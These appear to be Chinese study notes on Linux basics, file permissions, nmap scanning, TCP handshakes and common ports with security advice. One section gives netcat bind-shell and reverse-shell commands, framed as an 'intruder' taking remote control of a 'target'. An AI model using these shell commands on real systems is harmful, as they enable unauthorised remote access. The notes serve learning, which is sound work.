知识和指令
基础知识
文件属性
示例:d r-x(A) r-x(B) r-x(C) 13 root(D) root(E) 0 Nov 3 11:22 1.txt
括号部分仅作讲解用,实际上不存在
A=所有者权限
B=所有者所在的组的权限
C=其他人权限
D=文件的所有人
E=D所在的组
类型:
d文件夹
-文件
l链接
权限:
r=read=4 w=write=2 x=execute=1
权限编号的计算使用加法,例如:
| 权限代码 | 编号 |
|---|---|
| r-x | 5 |
| -rw | 6 |
| –r | 4 |
修改文件权限:
chmod [权限编号] [目标文件] 修改文件权限
chmod [权限编号] -R [文件夹] 把文件夹和文件内所有东西都赋值为75
示例:chmod 755 1.txt
系统操作
防火墙
chkconfig iptables on/off 打开/关闭防火墙
apt命令
软件安装apt-get install xxx
基础指令:
系统指令:
系统相关
passwd 修改当前用户密码
ifconfig 查看ip
whoami 查看自己是谁(账户)
clear 清空当前终端
uname 查看操作系统
uname -a 查看详细版本号
文件相关
ls 查看当前目录所有文件和文件夹
ls -la 查看详细信息(文件属性)
mkdir 创建目录
cd 转到指定目录
touch 创建文件
cat 查看文件
chmod 修改文件权限
cp [被复制的文件] [复制到(包括文件名)] 复制文件
mv [被剪切的文件] [粘贴到(包括文件名)] 剪切文件(也可用于修改文件名)
rm [目标] 删除
rm -rf [目标] 全部强制删除
find [要在哪个地方查找] -name [查找的文件名] 查找文件
echo xxx 回响(单独使用是复读机)
echo xxx > 1.txt 创建名为1.txt的文件并写入xxx(有覆盖效果)
echo xxx >> 1.txt 向1.txt中追加xxx
查看进程
ps 查看进程
ps -ef 查看全部进程
ps -ef | grep xxx 查看进程名字包含xxx关键词的进程
top 查看进程(打开性能监视器)
软件指令:
编辑器类:
nano 用nano打开文件
vim 用vim打开文件
几个小工具
nc的使用
基础连接
服务端(被控):
nc -l -p [端口号] 监听指定端口
客户端(控制):
nc -nv [服务端ip] [端口号] 连接服务端
远程控制
正向控制
入侵者每次主动连接目标
目标(被控):
nc -lp [端口号] -e cmd 指客户端连接后为其打开cmd
入侵:
nc -nv [服务端ip] [端口号] 连接目标
反向控制
目标每次自己连接入侵者
目标(被控):
nc -nv [入侵者ip] [端口号] -e cmd
注意:如果目标系统为linux则将-e cmd改为-c bash
nmap的使用
nmap [可选参数] [目标ip] 普通扫描
参数:
-sT tcp扫描
-sS 隐秘扫描(不形成三次握手)
-sL [扫描一个ip段] 例如192.168.0.1/24 (指从192.168.0.1到192.168.0.255) 主要用于批量主机发现
-sn ping扫描,只发现主机,不扫描端口,通常结合-sL使用
-Pn 将所有主机假定开机,跳过主机发现的过程
-P0 使用ip协议探测主机是否开启
-sU 使用UDP扫描
-p 指定扫描那些端口,例如nmap -p 80,443,3380 192.168.1.0/24
-O 识别操作系统,例如nmap -O --osscan-guess 192.168.172.130
-A 强力模式,自动调用脚本获取最多信息,但也最慢
追加:网络相关
TCP的三次握手与四次挥手
TCP(Transmission Control Protocol,传输控制协议)是 面向连接、可靠的字节流协议,其核心机制 “三次握手”(建立连接)和 “四次挥手”(释放连接)是保障数据可靠传输的基础。
核心前提:TCP 报文关键字段
在理解握手 / 挥手前,需先掌握 TCP 报文中的 3 个核心标志位和 2 个序列号字段,这是通信的 “信号标识”:
| 字段 | 作用 |
|---|---|
| SYN | 同步标志(Synchronize):用于发起连接,请求同步对方的序列号(seq) |
| ACK | 确认标志(Acknowledgment):用于确认收到数据,携带确认号(ack) |
| FIN | 终止标志(Finish):用于发起连接释放,告知对方 “我已无数据要发送” |
| seq(序列号) | 标记当前发送数据的字节位置(随机初始化,后续按字节递增) |
| ack(确认号) | 标记 “期望下次收到的对方序列号”(= 已收到的对方 seq + 1) |
注:TCP 是全双工通信(双方可同时发送数据),因此每个方向都需要独立的序列号和确认机制。
三次握手(Three-Way Handshake):建立可靠连接
核心目的:
- 双方确认彼此的 “发送能力” 和 “接收能力” 均正常;
- 协商初始序列号(
seq),为后续数据传输的 “有序性” 和 “去重” 打下基础; - 避免 “失效的连接请求报文段” 导致错误连接。
步骤拆解:
- 第一次握手(客户端→服务器):
- 客户端发送报文:
SYN=1(发起连接),seq=x(x 是客户端随机生成的初始序列号,如 1000); - 客户端状态变为
SYN_SENT(等待服务器确认); - 作用:告诉服务器 “我想和你建立连接,请你同步我的序列号”。
- 客户端发送报文:
- 第二次握手(服务器→客户端):
- 服务器收到 SYN 后,回复报文:
SYN=1(同意建立连接,同步自己的序列号)+ACK=1(确认收到客户端的 SYN); - 服务器序列号:
seq=y(y 是服务器随机生成的初始序列号,如 2000); - 服务器确认号:
ack=x+1(表示 “我已收到你到 x 的所有数据,下次请从 x+1 开始发”); - 服务器状态变为
SYN_RCVD(等待客户端最终确认); - 作用:服务器同时完成 “确认客户端接收 / 发送能力” 和 “发起自己的连接同步”。
- 服务器收到 SYN 后,回复报文:
- 第三次握手(客户端→服务器):
- 客户端收到服务器的 SYN+ACK 后,回复报文:
ACK=1(确认收到服务器的 SYN); - 客户端序列号:
seq=x+1(按字节递增,因第一次仅发送了 SYN 标志位,无数据字节,故 + 1); - 客户端确认号:
ack=y+1(表示 “我已收到你到 y 的所有数据,下次请从 y+1 开始发”); - 客户端状态变为
ESTABLISHED(连接建立),服务器收到后也变为ESTABLISHED; - 作用:客户端最终确认服务器的连接请求,双方完成 “双向能力验证” 和 “序列号协商”。
- 客户端收到服务器的 SYN+ACK 后,回复报文:
关键设计逻辑:为什么是 “三次” 而不是 “两次”?
- 两次握手的风险:若客户端发送的 “连接请求报文段” 因网络延迟未及时到达服务器,客户端会超时重发。若延迟的报文段后续到达服务器,服务器会误以为是新的连接请求,直接回复 SYN+ACK 并建立连接,但客户端此时已不需要该连接,会忽略服务器的回复,导致服务器资源被浪费(半连接状态)。
- 三次握手的必要性:第三次握手是客户端对服务器 SYN 的确认,确保 “服务器知道客户端已收到自己的连接响应”,从而避免上述资源浪费。只有三次握手,才能实现双方 “双向可靠确认”。
四次挥手(Four-Way Wavehand):释放连接
核心目的
TCP 是全双工通信,双方可同时发送数据。释放连接时,需确保:
- 双方都已完成数据传输(无未发送 / 未接收的数据);
- 双方都明确 “对方已停止发送数据”,避免提前关闭连接导致数据丢失。
步骤拆解:
- 第一次挥手(客户端→服务器):
- 客户端完成数据发送后,发送报文:
FIN=1(告知服务器 “我已无数据要发,请求关闭我的发送通道”); - 客户端序列号:
seq=x+1(基于之前的数据传输进度,假设之前已发送到 x); - 客户端确认号:
ack=y+1(确认之前收到的服务器数据); - 客户端状态变为
FIN_WAIT_1(等待服务器确认关闭); - 注意:客户端关闭的是 “发送通道”,仍可接收服务器的数据(全双工特性)。
- 客户端完成数据发送后,发送报文:
- 第二次挥手(服务器→客户端):
- 服务器收到 FIN 后,回复报文:
ACK=1(确认收到客户端的关闭请求); - 服务器序列号:
seq=y+1(基于之前的传输进度); - 服务器确认号:
ack=x+2(因客户端发送了 FIN 标志位,相当于 1 个字节的 “关闭请求数据”,故 x+1+1=x+2); - 服务器状态变为
CLOSE_WAIT(等待自己的数据发送完成后,再关闭自己的发送通道); - 客户端收到后,状态变为
FIN_WAIT_2(等待服务器的 FIN 报文); - 作用:服务器确认 “客户端不再发送数据”,但自己可能仍有数据要发给客户端(如剩余的响应数据)。
- 服务器收到 FIN 后,回复报文:
- 第三次挥手(服务器→客户端):
- 服务器完成所有数据发送后,发送报文:
FIN=1(告知客户端 “我也无数据要发,请求关闭我的发送通道”); - 服务器序列号:
seq=y+1(无新数据发送,序列号不变); - 服务器确认号:
ack=x+2(与第二次挥手一致); - 服务器状态变为
LAST_ACK(等待客户端最终确认); - 作用:服务器关闭自己的发送通道,告知客户端 “可以彻底关闭连接了”。
- 服务器完成所有数据发送后,发送报文:
- 第四次挥手(客户端→服务器):
- 客户端收到服务器的 FIN 后,回复报文:
ACK=1(确认收到服务器的关闭请求); - 客户端序列号:
seq=x+2(基于之前的确认号); - 客户端确认号:
ack=y+2(服务器的 FIN 相当于 1 个字节,故 y+1+1=y+2); - 客户端状态变为
TIME_WAIT(等待 2MSL 后关闭),服务器收到后状态变为CLOSED; - 客户端等待 2MSL(Maximum Segment Lifetime,报文最大生存时间,默认 2 分钟)后,状态变为
CLOSED; - 作用:确保服务器能收到客户端的最终确认(避免服务器因报文丢失而重发 FIN)。
- 客户端收到服务器的 FIN 后,回复报文:
关键设计逻辑:为什么是 “四次” 而不是 “三次”?
- 核心原因:TCP 是全双工通信,双方的 “发送通道” 需要独立关闭。
- 第三次握手时,服务器可以同时发送 SYN 和 ACK(因为此时服务器还未发送数据,可合并报文);
- 四次挥手时,服务器收到客户端的 FIN 后,可能仍有数据要发送,无法立即发送 FIN(需先完成数据传输),因此必须分两步:先回复 ACK(确认客户端关闭),再发送 FIN(自己关闭),导致比三次握手多一次报文交互。
关键细节:TIME_WAIT 状态的作用
- 目的 1:确保最后一个 ACK 报文能到达服务器(若服务器未收到 ACK,会重发 FIN,客户端在 TIME_WAIT 期间可重新回复);
- 目的 2:避免 “失效的报文段” 干扰新连接(TIME_WAIT 期间,客户端会丢弃所有来自该连接的旧报文段);
- 实际影响:服务器若频繁关闭连接,会积累大量 TIME_WAIT 状态的端口,导致端口耗尽(可通过调整
net.ipv4.tcp_tw_reuse等内核参数优化)。
端口
端口是计算机网络中用于区分不同服务/应用的逻辑地址(范围:0-65535),按用途可分为 知名端口(0-1023)、注册端口(1024-49151) 和 动态端口(49152-65535)。以下是开发者和日常使用中最常见的端口及其核心特点,按场景分类整理,方便查阅:
核心网络服务端口(知名端口,0-1023)
这类端口由 IANA 分配,对应基础网络服务,默认端口固定,是网络通信的基础。
| 端口号 | 协议 | 服务/应用 | 核心特点 | 使用场景 | 安全注意事项 |
|---|---|---|---|---|---|
| 21 | TCP | FTP(文件传输) | 明文传输用户名/密码和文件数据,不加密;主动模式(服务器连客户端20端口)/被动模式 | 传统文件传输(已逐渐被替代) | 风险极高!明文传输易被窃听,建议用 SFTP(22端口) 或 FTPS 替代 |
| 22 | TCP | SSH(安全外壳) | 加密远程登录/命令执行,支持端口转发、文件传输(SFTP),替代Telnet | 服务器远程管理(Linux/云服务器) | 建议修改默认端口(如2222),禁用密码登录(仅用SSH密钥),限制登录IP |
| 23 | TCP | Telnet(远程登录) | 明文传输,无加密,安全性极差 | 早期设备管理(已淘汰) | 完全不推荐使用!用SSH(22端口)替代 |
| 25 | TCP | SMTP(邮件发送) | 用于邮件服务器之间发送邮件,或客户端向服务器提交邮件(需配合认证) | 邮件服务(如Postfix、Sendmail) | 默认无加密,建议开启TLS(465端口),配置SPF/DKIM防止邮件伪造 |
| 53 | TCP/UDP | DNS(域名解析) | UDP用于普通查询(快,无连接);TCP用于区域传输(数据量大,可靠) | 域名解析(如访问网站、API) | 开放公共DNS需注意防护DDoS攻击;内网建议部署本地DNS缓存(如Pi-hole) |
| 80 | TCP | HTTP(超文本传输) | 明文传输网页数据,无加密,是Web服务默认端口 | 普通网站访问、HTTP API | 仅用于测试/内部服务,公网必须升级为HTTPS(443端口),否则数据易被篡改窃听 |
| 443 | TCP | HTTPS(加密HTTP) | 基于TLS/SSL加密,保障数据传输安全,支持HTTP/2、HTTP/3 | HTTPS网站、加密API、小程序 | 必须配置有效SSL证书(Let’s Encrypt免费),禁用弱加密套件(如TLS 1.0/1.1) |
| 110 | TCP | POP3(邮件接收) | 明文接收邮件,无加密 | 客户端接收邮件(已淘汰) | 用POP3S(995端口,加密)替代 |
| 143 | TCP | IMAP(邮件接收) | 支持邮件文件夹同步、标记管理,明文传输 | 客户端接收邮件(主流) | 用IMAPS(993端口,加密)替代,开启邮件二次验证 |
| 389 | TCP/UDP | LDAP(目录服务) | 用于用户身份认证、组织架构管理(如企业内网) | 企业内网身份验证 | 明文传输风险高,用LDAPS(636端口,加密)替代 |
| 445 | TCP | SMB(文件共享) | Windows文件共享、打印机共享,支持跨设备访问 | 内网文件共享(Windows/Mac) | 漏洞频发(如永恒之蓝),公网禁止开放;内网限制访问IP,关闭匿名登录 |
开发者常用端口(注册端口,1024-49151)
这类端口由应用程序注册使用,默认端口可配置修改,是开发、测试、部署中高频接触的端口。
数据库端口
| 端口号 | 协议 | 数据库/服务 | 核心特点 | 使用场景 | 安全注意事项 |
|---|---|---|---|---|---|
| 3306 | TCP | MySQL/MariaDB | 关系型数据库默认端口,支持主从复制、事务 | Web开发、数据分析 | 公网禁止开放!内网绑定本地IP(127.0.0.1),设置强密码,限制访问IP |
| 5432 | TCP | PostgreSQL | 开源关系型数据库,支持复杂查询、JSON数据 | 后端开发、大数据应用 | 同MySQL,禁用远程匿名访问,开启SSL加密 |
| 1433 | TCP | SQL Server | 微软SQL Server数据库默认端口 | .NET开发、企业应用 | 公网不开放,内网限制IP,启用Windows认证或混合认证 |
| 27017 | TCP | MongoDB | 文档型数据库,无Schema,支持分布式存储 | 大数据、API后端、NoSQL应用 | 默认无认证!需启用访问控制(用户名密码),绑定内网IP,禁止公网暴露 |
| 6379 | TCP | Redis | 内存缓存数据库,高性能,支持多种数据结构 | 缓存、会话存储、消息队列 | 高危!默认无密码,需设置密码、绑定本地IP、开启防火墙,禁用公网访问 |
| 9200 | TCP | Elasticsearch | 全文搜索引擎,支持分布式、实时检索 | 日志分析、全文搜索功能 | 禁用匿名访问,配置用户认证(如X-Pack),限制访问IP |
Web开发/服务器端口
| 端口号 | 协议 | 服务/框架 | 核心特点 | 使用场景 | 安全注意事项 |
|---|---|---|---|---|---|
| 8080 | TCP | 通用Web端口 | 开发环境默认端口(如Tomcat、Nginx反向代理),非特权端口 | 本地开发测试、内网Web服务 | 公网部署需映射到80/443,禁止直接暴露8080;开启认证(如Basic Auth) |
| 8000 | TCP | 开发服务器 | Python Flask/Django、Node.js默认开发端口 | 本地开发调试(如python manage.py runserver) |
仅用于本地测试,切勿公网开放(无安全防护) |
| 3000 | TCP | Node.js/React | Node.js Express、React开发服务器默认端口 | 前端/Node.js后端开发 | 同8000,本地测试专用,公网需通过Nginx反向代理并配置HTTPS |
| 4000 | TCP | Hugo/Gatsby | Hugo开发服务器默认端口(hugo server -p 4000) |
静态博客本地预览(如GitHub Pages博客) | 仅本地使用,无需公网开放,预览后部署到GitHub Pages(80/443端口) |
| 8096 | TCP | Jellyfin | 媒体服务器默认端口(Web管理界面+流媒体传输) | 云/内网媒体库(如之前提到的Jellyfin) | 公网访问需配置HTTPS(反向代理+SSL),设置强密码,限制登录IP |
| 8888 | TCP | Jupyter Notebook | Python交互式开发环境默认端口 | 数据分析、机器学习开发 | 本地使用需设置密码(jupyter notebook password),公网需端口转发+HTTPS |
其他开发工具端口
| 端口号 | 协议 | 工具/服务 | 核心特点 | 使用场景 | 安全注意事项 |
|---|---|---|---|---|---|
| 5900 | TCP | VNC(远程桌面) | 跨平台远程桌面控制,支持图形界面 | 远程操作桌面(如树莓派) | 默认无加密,需开启VNC加密(如TightVNC),设置强密码,限制访问IP |
| 3389 | TCP | RDP(Windows远程桌面) | Windows自带远程桌面,图形界面流畅 | Windows服务器/电脑远程控制 | 公网禁止开放!内网限制IP,开启网络级别认证(NLA),设置复杂密码 |
| 6000-6005 | TCP | X11(Linux图形界面) | Linux/Unix图形界面传输端口 | Linux远程图形界面访问 | 明文传输,风险高,建议用SSH隧道转发(ssh -X user@server)替代 |
| 9090 | TCP | Prometheus | 监控系统默认端口(Web UI+API) | 服务器/应用监控 | 公网需配置认证(如Basic Auth),限制访问IP,配合Grafana(3000端口)可视化 |